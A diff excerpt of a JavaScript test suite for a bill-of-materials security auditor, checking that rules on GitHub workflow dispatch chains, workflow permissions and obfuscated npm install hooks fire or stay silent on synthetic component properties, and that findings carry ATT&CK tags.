|
|
1836
|
+
assert.ok(
|
|
1837
|
+
findings.some((finding) => finding.ruleId === "CI-018"),
|
|
1838
|
+
"fork-reachable dispatch chain should trigger CI-018",
|
|
1839
|
+
);
|
|
1840
|
+
assert.ok(
|
|
1841
|
+
findings.some((finding) => finding.ruleId === "CI-019"),
|
|
1842
|
+
"explicit fork-aware dispatch chain should trigger CI-019",
|
|
1843
|
+
);
|
|
1844
|
+
});
|
|
1845
|
+
|
|
1846
|
+
it("prefers local receiver workflow names in CI-019 findings when correlation exists", async () => {
|
|
1847
|
+
const rules = await loadRules(RULES_DIR);
|
|
1848
|
+
const rule = rules.find((candidate) => candidate.id === "CI-019");
|
|
1849
|
+
assert.ok(rule, "CI-019 rule should exist");
|
|
1850
|
+
|
|
1851
|
+
const bom = makeBom([
|
|
1852
|
+
makeComponent("dispatch-step", "1.0.0", [
|
|
1853
|
+
["cdx:github:step:dispatchesWorkflow", "true"],
|
|
1854
|
+
["cdx:github:step:referencesForkContext", "true"],
|
|
1855
|
+
["cdx:github:step:referencesSensitiveContext", "true"],
|
|
1856
|
+
["cdx:github:step:dispatchTargets", "workflow:release.yml"],
|
|
1857
|
+
["cdx:github:step:hasLocalDispatchReceiver", "true"],
|
|
1858
|
+
["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
|
|
1859
|
+
[
|
|
1860
|
+
"cdx:github:step:dispatchReceiverWorkflowFiles",
|
|
1861
|
+
".github/workflows/release.yml",
|
|
1862
|
+
],
|
|
1863
|
+
]),
|
|
1864
|
+
]);
|
|
1865
|
+
|
|
1866
|
+
const findings = await evaluateRule(rule, bom);
|
|
1867
|
+
assert.ok(
|
|
1868
|
+
findings.length > 0,
|
|
1869
|
+
"CI-019 should match the correlated dispatch step",
|
|
1870
|
+
);
|
|
1871
|
+
assert.match(findings[0].message, /Release workflow/);
|
|
1872
|
+
assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
|
|
1873
|
+
});
|
|
1874
|
+
|
|
1875
|
+
it("flags obfuscated npm lifecycle hooks", async () => {
|
|
1876
|
+
const bom = makeBom([
|
|
1877
|
+
makeComponent("suspicious-pkg", "1.0.0", [
|
|
1878
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
1879
|
+
["cdx:npm:hasObfuscatedLifecycleScript", "true"],
|
|
1880
|
+
["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
|
|
1881
|
+
[
|
|
1882
|
+
"cdx:npm:lifecycleObfuscationIndicators",
|
|
1883
|
+
"ast:buffer-base64,long-base64-literal",
|
|
1884
|
+
],
|
|
1885
|
+
["cdx:npm:lifecycleExecutionIndicators", "ast:child-process"],
|
|
1886
|
+
]),
|
|
1887
|
+
]);
|
|
1888
|
+
|
|
1889
|
+
const findings = await auditBom(bom, {
|
|
1890
|
+
bomAuditCategories: "package-integrity",
|
|
1891
|
+
});
|
|
1892
|
+
assert.ok(
|
|
1893
|
+
findings.some((finding) => finding.ruleId === "INT-009"),
|
|
1894
|
+
"obfuscated lifecycle hooks should trigger INT-009",
|
|
1895
|
+
);
|
|
1896
|
+
});
|
|
1897
|
+
|
|
1898
|
+
it("does not flag CI-015 for low-signal outbound workflow steps", async () => {
|
|
1899
|
+
const bom = makeBomFromWorkflowFixture(
|
|
1900
|
+
"outbound-sensitive-context-low-signal.yml",
|
|
1901
|
+
);
|
|
1902
|
+
|
|
1903
|
+
const findings = await auditBom(bom, {
|
|
1904
|
+
bomAuditCategories: "ci-permission",
|
|
1905
|
+
});
|
|
1906
|
+
assert.ok(
|
|
1907
|
+
!findings.some((finding) => finding.ruleId === "CI-015"),
|
|
1908
|
+
"low-signal outbound workflow should not trigger CI-015",
|
|
1909
|
+
);
|
|
1910
|
+
});
|
|
1911
|
+
|
|
1912
|
+
it("flags CI-021 for a high-risk workflow with implicit permissions and sensitive operations", async () => {
|
|
1913
|
+
const bom = makeBomFromWorkflowFixture(
|
|
1914
|
+
"heuristic-implicit-permissions-sensitive.yml",
|
|
1915
|
+
);
|
|
1916
|
+
|
|
1917
|
+
const findings = await auditBom(bom, {
|
|
1918
|
+
bomAuditCategories: "ci-permission",
|
|
1919
|
+
});
|
|
1920
|
+
assert.ok(
|
|
1921
|
+
findings.some((finding) => finding.ruleId === "CI-021"),
|
|
1922
|
+
"implicit-permissions high-risk workflow should trigger CI-021",
|
|
1923
|
+
);
|
|
1924
|
+
});
|
|
1925
|
+
|
|
1926
|
+
it("does not flag CI-021 when the workflow declares an explicit permissions block", async () => {
|
|
1927
|
+
const bom = makeBomFromWorkflowFixture(
|
|
1928
|
+
"heuristic-explicit-permissions-sensitive.yml",
|
|
1929
|
+
);
|
|
1930
|
+
|
|
1931
|
+
const findings = await auditBom(bom, {
|
|
1932
|
+
bomAuditCategories: "ci-permission",
|
|
1933
|
+
});
|
|
1934
|
+
assert.ok(
|
|
1935
|
+
!findings.some((finding) => finding.ruleId === "CI-021"),
|
|
1936
|
+
"explicit permissions block should suppress heuristic CI-021",
|
|
1937
|
+
);
|
|
281
1938
|
});
|
|
282
1939
|
});
|
|
283
1940
|
|
|
@@ -292,6 +1949,8 @@ describe("formatAnnotations", () => {
|
|
|
292
1949
|
category: "ci-permission",
|
|
293
1950
|
message: "Unpinned GitHub Action detected",
|
|
294
1951
|
mitigation: "Pin to SHA",
|
|
1952
|
+
attackTactics: ["TA0001", "TA0004"],
|
|
1953
|
+
attackTechniques: ["T1195.001"],
|
|
295
1954
|
},
|
|
296
1955
|
];
|
|
297
1956
|
const annotations = formatAnnotations(findings, bom);
|
|
@@ -299,6 +1958,9 @@ describe("formatAnnotations", () => {
|
|
|
299
1958
|
assert.ok(
|
|
300
1959
|
annotations[0].text.startsWith("Unpinned GitHub Action detected"),
|
|
301
1960
|
);
|
|
1961
|
+
assert.match(annotations[0].text, /\| Property \| Value \|/);
|
|
1962
|
+
assert.match(annotations[0].text, /cdx:audit:attack:tactics/);
|
|
1963
|
+
assert.match(annotations[0].text, /cdx:audit:attack:techniques/);
|
|
302
1964
|
assert.ok(
|
|
303
1965
|
annotations[0].annotator.component,
|
|
304
1966
|
"Annotation should have annotator component",
|